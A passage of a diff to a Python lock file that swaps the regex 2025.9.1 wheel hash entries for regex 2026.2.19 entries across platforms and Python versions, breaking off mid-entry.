"regex-2025.9.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9dc5991592933a4192c166eeb67b29d9234f9c86344481173d1bc52f73a7104"}, - {file = "regex-2025.9.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a32291add816961aab472f4fad344c92871a2ee33c6c219b6598e98c1f0108f2"}, - {file = "regex-2025.9.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:588c161a68a383478e27442a678e3b197b13c5ba51dbba40c1ccb8c4c7bee9e9"}, - {file = "regex-2025.9.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:47829ffaf652f30d579534da9085fe30c171fa2a6744a93d52ef7195dc38218b"}, - {file = "regex-2025.9.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1e978e5a35b293ea43f140c92a3269b6ab13fe0a2bf8a881f7ac740f5a6ade85"}, - {file = "regex-2025.9.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4cf09903e72411f4bf3ac1eddd624ecfd423f14b2e4bf1c8b547b72f248b7bf7"}, - {file = "regex-2025.9.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:d016b0f77be63e49613c9e26aaf4a242f196cd3d7a4f15898f5f0ab55c9b24d2"}, - {file = "regex-2025.9.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:656563e620de6908cd1c9d4f7b9e0777e3341ca7db9d4383bcaa44709c90281e"}, - {file = "regex-2025.9.1-cp312-cp312-win32.whl", hash = "sha256:df33f4ef07b68f7ab637b1dbd70accbf42ef0021c201660656601e8a9835de45"}, - {file = "regex-2025.9.1-cp312-cp312-win_amd64.whl", hash = "sha256:5aba22dfbc60cda7c0853516104724dc904caa2db55f2c3e6e984eb858d3edf3"}, - {file = "regex-2025.9.1-cp312-cp312-win_arm64.whl", hash = "sha256:ec1efb4c25e1849c2685fa95da44bfde1b28c62d356f9c8d861d4dad89ed56e9"}, - {file = "regex-2025.9.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:bc6834727d1b98d710a63e6c823edf6ffbf5792eba35d3fa119531349d4142ef"}, - {file = "regex-2025.9.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c3dc05b6d579875719bccc5f3037b4dc80433d64e94681a0061845bd8863c025"}, - {file = "regex-2025.9.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:22213527df4c985ec4a729b055a8306272d41d2f45908d7bacb79be0fa7a75ad"}, - {file = "regex-2025.9.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8e3f6e3c5a5a1adc3f7ea1b5aec89abfc2f4fbfba55dafb4343cd1d084f715b2"}, - {file = "regex-2025.9.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:bcb89c02a0d6c2bec9b0bb2d8c78782699afe8434493bfa6b4021cc51503f249"}, - {file = "regex-2025.9.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b0e2f95413eb0c651cd1516a670036315b91b71767af83bc8525350d4375ccba"}, - {file = "regex-2025.9.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:09a41dc039e1c97d3c2ed3e26523f748e58c4de3ea7a31f95e1cf9ff973fff5a"}, - {file = "regex-2025.9.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4f0b4258b161094f66857a26ee938d3fe7b8a5063861e44571215c44fbf0e5df"}, - {file = "regex-2025.9.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:bf70e18ac390e6977ea7e56f921768002cb0fa359c4199606c7219854ae332e0"}, - {file = "regex-2025.9.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:b84036511e1d2bb0a4ff1aec26951caa2dea8772b223c9e8a19ed8885b32dbac"}, - {file = "regex-2025.9.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c2e05dcdfe224047f2a59e70408274c325d019aad96227ab959403ba7d58d2d7"}, - {file = "regex-2025.9.1-cp313-cp313-win32.whl", hash = "sha256:3b9a62107a7441b81ca98261808fed30ae36ba06c8b7ee435308806bd53c1ed8"}, - {file = "regex-2025.9.1-cp313-cp313-win_amd64.whl", hash = "sha256:b38afecc10c177eb34cfae68d669d5161880849ba70c05cbfbe409f08cc939d7"}, - {file = "regex-2025.9.1-cp313-cp313-win_arm64.whl", hash = "sha256:ec329890ad5e7ed9fc292858554d28d58d56bf62cf964faf0aa57964b21155a0"}, - {file = "regex-2025.9.1-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:72fb7a016467d364546f22b5ae86c45680a4e0de6b2a6f67441d22172ff641f1"}, - {file = "regex-2025.9.1-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:c9527fa74eba53f98ad86be2ba003b3ebe97e94b6eb2b916b31b5f055622ef03"}, - {file = "regex-2025.9.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c905d925d194c83a63f92422af7544ec188301451b292c8b487f0543726107ca"}, - {file = "regex-2025.9.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:74df7c74a63adcad314426b1f4ea6054a5ab25d05b0244f0c07ff9ce640fa597"}, - {file = "regex-2025.9.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4f6e935e98ea48c7a2e8be44494de337b57a204470e7f9c9c42f912c414cd6f5"}, - {file = "regex-2025.9.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4a62d033cd9ebefc7c5e466731a508dfabee827d80b13f455de68a50d3c2543d"}, - {file = "regex-2025.9.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ef971ebf2b93bdc88d8337238be4dfb851cc97ed6808eb04870ef67589415171"}, - {file = "regex-2025.9.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:d936a1db208bdca0eca1f2bb2c1ba1d8370b226785c1e6db76e32a228ffd0ad5"}, - {file = "regex-2025.9.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:7e786d9e4469698fc63815b8de08a89165a0aa851720eb99f5e0ea9d51dd2b6a"}, - {file = "regex-2025.9.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:6b81d7dbc5466ad2c57ce3a0ddb717858fe1a29535c8866f8514d785fdb9fc5b"}, - {file = "regex-2025.9.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:cd4890e184a6feb0ef195338a6ce68906a8903a0f2eb7e0ab727dbc0a3156273"}, - {file = "regex-2025.9.1-cp314-cp314-win32.whl", hash = "sha256:34679a86230e46164c9e0396b56cab13c0505972343880b9e705083cc5b8ec86"}, - {file = "regex-2025.9.1-cp314-cp314-win_amd64.whl", hash = "sha256:a1196e530a6bfa5f4bde029ac5b0295a6ecfaaffbfffede4bbaf4061d9455b70"}, - {file = "regex-2025.9.1-cp314-cp314-win_arm64.whl", hash = "sha256:f46d525934871ea772930e997d577d48c6983e50f206ff7b66d4ac5f8941e993"}, - {file = "regex-2025.9.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a13d20007dce3c4b00af5d84f6c191ed1c0f70928c6d9b6cd7b8d2f125df7f46"}, - {file = "regex-2025.9.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d6b046b0a01cb713fd53ef36cb59db4b0062b343db28e83b52ac6aa01ee5b368"}, - {file = "regex-2025.9.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0fa9a7477288717f42dbd02ff5d13057549e9a8cdb81f224c313154cc10bab52"}, - {file = "regex-2025.9.1-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b2b3ad150c6bc01a8cd5030040675060e2adbe6cbc50aadc4da42c6d32ec266e"}, - {file = "regex-2025.9.1-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:aa88d5a82dfe80deaf04e8c39c8b0ad166d5d527097eb9431cb932c44bf88715"}, - {file = "regex-2025.9.1-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6f1dae2cf6c2dbc6fd2526653692c144721b3cf3f769d2a3c3aa44d0f38b9a58"}, - {file = "regex-2025.9.1-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ff62a3022914fc19adaa76b65e03cf62bc67ea16326cbbeb170d280710a7d719"}, - {file = "regex-2025.9.1-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a34ef82216189d823bc82f614d1031cb0b919abef27cecfd7b07d1e9a8bdeeb4"}, - {file = "regex-2025.9.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:6d40e6b49daae9ebbd7fa4e600697372cba85b826592408600068e83a3c47211"}, - {file = "regex-2025.9.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:0aeb0fe80331059c152a002142699a89bf3e44352aee28261315df0c9874759b"}, - {file = "regex-2025.9.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:a90014d29cb3098403d82a879105d1418edbbdf948540297435ea6e377023ea7"}, - {file = "regex-2025.9.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:6ff623271e0b0cc5a95b802666bbd70f17ddd641582d65b10fb260cc0c003529"}, - {file = "regex-2025.9.1-cp39-cp39-win32.whl", hash = "sha256:d161bfdeabe236290adfd8c7588da7f835d67e9e7bf2945f1e9e120622839ba6"}, - {file = "regex-2025.9.1-cp39-cp39-win_amd64.whl", hash = "sha256:43ebc77a7dfe36661192afd8d7df5e8be81ec32d2ad0c65b536f66ebfec3dece"}, - {file = "regex-2025.9.1-cp39-cp39-win_arm64.whl", hash = "sha256:5d74b557cf5554001a869cda60b9a619be307df4d10155894aeaad3ee67c9899"}, - {file = "regex-2025.9.1.tar.gz", hash = "sha256:88ac07b38d20b54d79e704e38aa3bd2c0f8027432164226bdee201a1c0c9c9ff"}, + {file = "regex-2026.2.19-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f5a37a17d110f9d5357a43aa7e3507cb077bf3143d1c549a45c4649e90e40a70"}, + {file = "regex-2026.2.19-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:676c4e6847a83a1d5732b4ed553881ad36f0a8133627bb695a89ecf3571499d3"}, + {file = "regex-2026.2.19-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:82336faeecac33297cd42857c3b36f12b91810e3fdd276befdd128f73a2b43fa"}, + {file = "regex-2026.2.19-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:52136f5b71f095cb74b736cc3a1b578030dada2e361ef2f07ca582240b703946"}, + {file = "regex-2026.2.19-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4192464fe3e6cb0ef6751f7d3b16f886d8270d359ed1590dd555539d364f0ff7"}, + {file = "regex-2026.2.19-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e561dd47a85d2660d3d3af4e6cb2da825cf20f121e577147963f875b83d32786"}, + {file = "regex-2026.2.19-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00ec994d7824bf01cd6c7d14c7a6a04d9aeaf7c42a2bc22d2359d715634d539b"}, + {file = "regex-2026.2.19-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2cb00aabd96b345d56a8c2bc328c8d6c4d29935061e05078bf1f02302e12abf5"}, + {file = "regex-2026.2.19-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f374366ed35673ea81b86a8859c457d4fae6ba092b71024857e9e237410c7404"}, + {file = "regex-2026.2.19-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f9417fd853fcd00b7d55167e692966dd12d95ba1a88bf08a62002ccd85030790"}, + {file = "regex-2026.2.19-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:12e86a01594031abf892686fcb309b041bf3de3d13d99eb7e2b02a8f3c687df1"}, + {file = "regex-2026.2.19-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:79014115e6fdf18fd9b32e291d58181bf42d4298642beaa13fd73e69810e4cb6"}, + {file = "regex-2026.2.19-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:31aefac2506967b7dd69af2c58eca3cc8b086d4110b66d6ac6e9026f0ee5b697"}, + {file = "regex-2026.2.19-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:49cef7bb2a491f91a8869c7cdd90babf0a417047ab0bf923cd038ed2eab2ccb8"}, + {file = "regex-2026.2.19-cp310-cp310-win32.whl", hash = "sha256:3a039474986e7a314ace6efb9ce52f5da2bdb80ac4955358723d350ec85c32ad"}, + {file = "regex-2026.2.19-cp310-cp310-win_amd64.whl", hash = "sha256:5b81ff4f9cad99f90c807a00c5882fbcda86d8b3edd94e709fb531fc52cb3d25"}, + {file = "regex-2026.2.19-cp310-cp310-win_arm64.whl", hash = "sha256:a032bc01a4bc73fc3cadba793fce28eb420da39338f47910c59ffcc11a5ba5ef"}, + {file = "regex-2026.2.19-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:93b16a18cadb938f0f2306267161d57eb33081a861cee9ffcd71e60941eb5dfc"}, + {file = "regex-2026.2.19-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:78af1e499cab704131f6f4e2f155b7f54ce396ca2acb6ef21a49507e4752e0be"}, + {file = "regex-2026.2.19-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:eb20c11aa4c3793c9ad04c19a972078cdadb261b8429380364be28e867a843f2"}, + {file = "regex-2026.2.19-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:db5fd91eec71e7b08de10011a2223d0faa20448d4e1380b9daa179fa7bf58906"}, + {file = "regex-2026.2.19-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:fdbade8acba71bb45057c2b72f477f0b527c4895f9c83e6cfc30d4a006c21726"}, + {file = "regex-2026.2.19-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:31a5f561eb111d6aae14202e7043fb0b406d3c8dddbbb9e60851725c9b38ab1d"}, + {file = "regex-2026.2.19-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4584a3ee5f257b71e4b693cc9be3a5104249399f4116fe518c3f79b0c6fc7083"}, + {file = "regex-2026.2.19-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:196553ba2a2f47904e5dc272d948a746352e2644005627467e055be19d73b39e"}, + {file = "regex-2026.2.19-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0c10869d18abb759a3317c757746cc913d6324ce128b8bcec99350df10419f18"}, + {file = "regex-2026.2.19-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e689fed279cbe797a6b570bd18ff535b284d057202692c73420cb93cca41aa32"}, + {file = "regex-2026.2.19-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0782bd983f19ac7594039c9277cd6f75c89598c1d72f417e4d30d874105eb0c7"}, + {file = "regex-2026.2.19-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:dbb240c81cfed5d4a67cb86d7676d9f7ec9c3f186310bec37d8a1415210e111e"}, + {file = "regex-2026.2.19-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:80d31c3f1fe7e4c6cd1831cd4478a0609903044dfcdc4660abfe6fb307add7f0"}, + {file = "regex-2026.2.19-cp311-cp311-win32.whl", hash = "sha256:66e6a43225ff1064f8926adbafe0922b370d381c3330edaf9891cade52daa790"}, + {file = "regex-2026.2.19-cp311-cp311-win_amd64.whl", hash = "sha256:59a7a5216485a1896c5800e9feb8ff9213e11967b482633b6195d7da11450013"}, + {file = "regex-2026.2.19-cp311-cp311-win_arm64.whl", hash = "sha256:ec661807ffc14c8d14bb0b8c1bb3d5906e476bc96f98b565b709d03962ee4dd4"}, + {file = "regex-2026.2.19-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:c1665138776e4ac1aa75146669236f7a8a696433ec4e525abf092ca9189247cc"}, + {file = "regex-2026.2.19-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d792b84709021945597e05656aac059526df4e0c9ef60a0eaebb306f8fafcaa8"}, + {file = "regex-2026.2.19-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:db970bcce4d63b37b3f9eb8c893f0db980bbf1d404a1d8d2b17aa8189de92c53"}, + {file = "regex-2026.2.19-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:03d706fbe7dfec503c8c3cb76f9352b3e3b53b623672aa49f18a251a6c71b8e6"}, + {file = "regex-2026.2.19-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8dbff048c042beef60aa1848961384572c5afb9e8b290b0f1203a5c42cf5af65"}, + {file = "regex-2026.2.19-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ccaaf9b907ea6b4223d5cbf5fa5dff5f33dc66f4907a25b967b8a81339a6e332"}, + {file = "regex-2026.2.19-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:75472631eee7898e16a8a20998d15106cb31cfde21cdf96ab40b432a7082af06"}, + {file = "regex-2026.2.19-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d89f85a5ccc0cec125c24be75610d433d65295827ebaf0d884cbe56df82d4774"}, + {file = "regex-2026.2.19-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0d9f81806abdca3234c3dd582b8a97492e93de3602c8772013cb4affa12d1668"}, + {file = "regex-2026.2.19-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:9dadc10d1c2bbb1326e572a226d2ec56474ab8aab26fdb8cf19419b372c349a9"}, + {file = "regex-2026.2.19-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:6bc25d7e15f80c9dc7853cbb490b91c1ec7310808b09d56bd278fe03d776f4f6"}, + {file = "regex-2026.2.19-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:965d59792f5037d9138da6fed50ba943162160443b43d4895b182551805aff9c"}, + {file = "regex-2026.2.19-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:38d88c6ed4a09ed61403dbdf515d969ccba34669af3961ceb7311ecd0cef504a"}, + {file = "regex-2026.2.19-cp312-cp312-win32.whl", hash = "sha256:5df947cabab4b643d4791af5e28aecf6bf62e6160e525651a12eba3d03755e6b"}, + {file = "regex-2026.2.19-cp312-cp312-win_amd64.whl", hash = "sha256:4146dc576ea99634ae9c15587d0c43273b4023a10702998edf0fa68ccb60237a"}, + {file = "regex-2026.2.19-cp312-cp312-win_arm64.whl", hash = "sha256:cdc0a80f679353bd68450d2a42996090c30b2e15ca90ded6156c31f1a3b63f3b"}, + {file = "regex-2026.2.19-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8df08decd339e8b3f6a2eb5c05c687fe9d963ae91f352bc57beb05f5b2ac6879"}, + {file = "regex-2026.2.19-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3aa0944f1dc6e92f91f3b306ba7f851e1009398c84bfd370633182ee4fc26a64"}, + {file = "regex-2026.2.19-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c13228fbecb03eadbfd8f521732c5fda09ef761af02e920a3148e18ad0e09968"}, + {file = "regex-2026.2.19-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0d0e72703c60d68b18b27cde7cdb65ed2570ae29fb37231aa3076bfb6b1d1c13"}, + {file = "regex-2026.2.19-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:46e69a4bf552e30e74a8aa73f473c87efcb7f6e8c8ece60d9fd7bf13d5c86f02"}, + {file = "regex-2026.2.19-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8edda06079bd770f7f0cf7f3bba1a0b447b96b4a543c91fe0c142d034c166161"}, + {file = "regex-2026.2.19-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9cbc69eae834afbf634f7c902fc72ff3e993f1c699156dd1af1adab5d06b7fe7"}, + {file = "regex-2026.2.19-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bcf57d30659996ee5c7937999874504c11b5a068edc9515e6a59221cc2744dd1"}, + {file = "regex-2026.2.19-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8e6e77cd92216eb489e21e5652a11b186afe9bdefca8a2db739fd6b205a9e0a4"}, + {file = "regex-2026.2.19-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:b9ab8dec42afefa6314ea9b31b188259ffdd93f433d77cad454cd0b8d235ce1c"}, + {file = "regex-2026.2.19-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:294c0fb2e87c6bcc5f577c8f609210f5700b993151913352ed6c6af42f30f95f"}, + {file = "regex-2026.2.19-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:c0924c64b082d4512b923ac016d6e1dcf647a3560b8a4c7e55cbbd13656cb4ed"}, + {file = "regex-2026.2.19-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:790dbf87b0361606cb0d79b393c3e8f4436a14ee56568a7463014565d97da02a"}, + {file = "regex-2026.2.19-cp313-cp313-win32.whl", hash = "sha256:43cdde87006271be6963896ed816733b10967baaf0e271d529c82e93da66675b"}, + {file = "regex-2026.2.19-cp313-cp313-win_amd64.whl", hash = "sha256:127ea69273485348a126ebbf3d6052604d3c7da284f797bba781f364c0947d47"}, + {file = "regex-2026.2.19-cp313-cp313-win_arm64.whl", hash = "sha256:5e56c669535ac59cbf96ca1ece0ef26cb66809990cda4fa45e1e32c3b146599e"}, + {file = "regex-2026.2.19-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:93d881cab5afdc41a005dba1524a40947d6f7a525057aa64aaf16065cf62faa9"}, + {file = "regex-2026.2.19-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:80caaa1ddcc942ec7be18427354f9d58a79cee82dea2a6b3d4fd83302e1240d7"}, + {file = "regex-2026.2.19-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:d793c5b4d2b4c668524cd1651404cfc798d40694c759aec997e196fe9729ec60"}, + {file = "regex-2026.2.19-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5100acb20648d9efd3f4e7e91f51187f95f22a741dcd719548a6cf4e1b34b3f"}, + {file = "regex-2026.2.19-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5e3a31e94d10e52a896adaa3adf3621bd526ad2b45b8c2d23d1bbe74c7423007"}, + {file = "regex-2026.2.19-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8497421099b981f67c99eba4154cf0dfd8e47159431427a11cfb6487f7791d9e"}, + {file = "regex-2026.2.19-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1e7a08622f7d51d7a068f7e4052a38739c412a3e74f55817073d2e2418149619"}, + {file = "regex-2026.2.19-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8abe671cf0f15c26b1ad389bf4043b068ce7d3b1c5d9313e12895f57d6738555"}, + {file = "regex-2026.2.19-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:5a8f28dd32a4ce9c41758d43b5b9115c1c497b4b1f50c457602c1d571fa98ce1"}, + {file = "regex-2026.2.19-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:654dc41a5ba9b8cc8432b3f1aa8906d8b45f3e9502442a07c2f27f6c63f85db5"}, + {file = "regex-2026.2.19-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:4a02faea614e7fdd6ba8b3bec6c8e79529d356b100381cec76e638f45d12ca04"}, + {file = "regex-2026.2.19-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d96162140bb819814428800934c7b71b7bffe81fb6da2d6abc1dcca31741eca3"}, + {file = "regex-2026.2.19-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c227f2922153ee42bbeb355fd6d009f8c81d9d7bdd666e2276ce41f53ed9a743"}, + {file = "regex-2026.2.19-cp313-cp313t-win32.whl", hash = "sha256:a178df8ec03011153fbcd2c70cb961bc98cbbd9694b28f706c318bee8927c3db"}, + {file = "regex-2026.2.19-cp313-cp313t-win_amd64.whl", hash = "sha256:2c1693ca6f444d554aa246b592355b5cec030ace5a2729eae1b04ab6e853e768"}, + {file = "regex-2026.2.19-cp313-cp313t-win_arm64.whl", hash = "sha256:c0761d7ae8d65773e01515ebb0b304df1bf37a0a79546caad9cbe79a42c12af7"}, + {file = "regex-2026.2.19-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:03d191a9bcf94d31af56d2575210cb0d0c6a054dbcad2ea9e00aa4c42903b919"}, + {file = "regex-2026.2.19-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:516ee067c6c721d0d0bfb80a2004edbd060fffd07e456d4e1669e38fe82f922e"}, + {file = "regex-2026.2.19-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:997862c619994c4a356cb7c3592502cbd50c2ab98da5f61c5c871f10f22de7e5"}, + {file = "regex-2026.2.19-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:02b9e1b8a7ebe2807cd7bbdf662510c8e43053a23262b9f46ad4fc2dfc9d204e"}, + {file = "regex-2026.2.19-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6c8fb3b19652e425ff24169dad3ee07f99afa7996caa9dfbb3a9106cd726f49a"}, + {file = "regex-2026.2.19-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:50f1ee9488dd7a9fda850ec7c68cad7a32fa49fd19733f5403a3f92b451dcf73"}, + {file = "regex-2026.2.19-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ab780092b1424d13200aa5a62996e95f65ee3db8509be366437439cdc0af1a9f"}, + {file = "regex-2026.2.19-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:17648e1a88e72d88641b12635e70e6c71c5136ba14edba29bf8fc6834005a265"}, + {file = "regex-2026.2.19-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2f914ae8c804c8a8a562fe216100bc156bfb51338c1f8d55fe32cf407774359a"}, + {file = "regex-2026.2.19-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c7e121a918bbee3f12ac300ce0a0d2f2c979cf208fb071ed8df5a6323281915c"}, + {file = "regex-2026.2.19-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2fedd459c791da24914ecc474feecd94cf7845efb262ac3134fe27cbd7eda799"}, + {file = "regex-2026.2.19-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:ea8dfc99689240e61fb21b5fc2828f68b90abf7777d057b62d3166b7c1543c4c"}, + {file = "regex-2026.2.19-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9fff45852160960f29e184ec8a5be5ab4063cfd0b168d439d1fc4ac3744bf29e"}, + {file = "regex-2026.2.19-cp314-cp314-win32.whl", hash = "sha256:5390b130cce14a7d1db226a3896273b7b35be10af35e69f1cca843b6e5d2bb2d"}, + {file = "regex-2026.2.19-cp314-cp314-win_amd64.whl", hash = "sha256:e581f75d5c0b15669139ca1c2d3e23a65bb90e3c06ba9d9ea194c377c726a904"}, + {file = "regex-2026.2.19-cp314-cp314-win_arm64.whl", hash = "sha256:7187fdee1be0896c1499a991e9bf7c78e4b56b7863e7405d7bb687888ac10c4b"}, + {file = "regex-2026.2.19-cp314-cp314t-macosx_10_13_universal2.whl", hash = 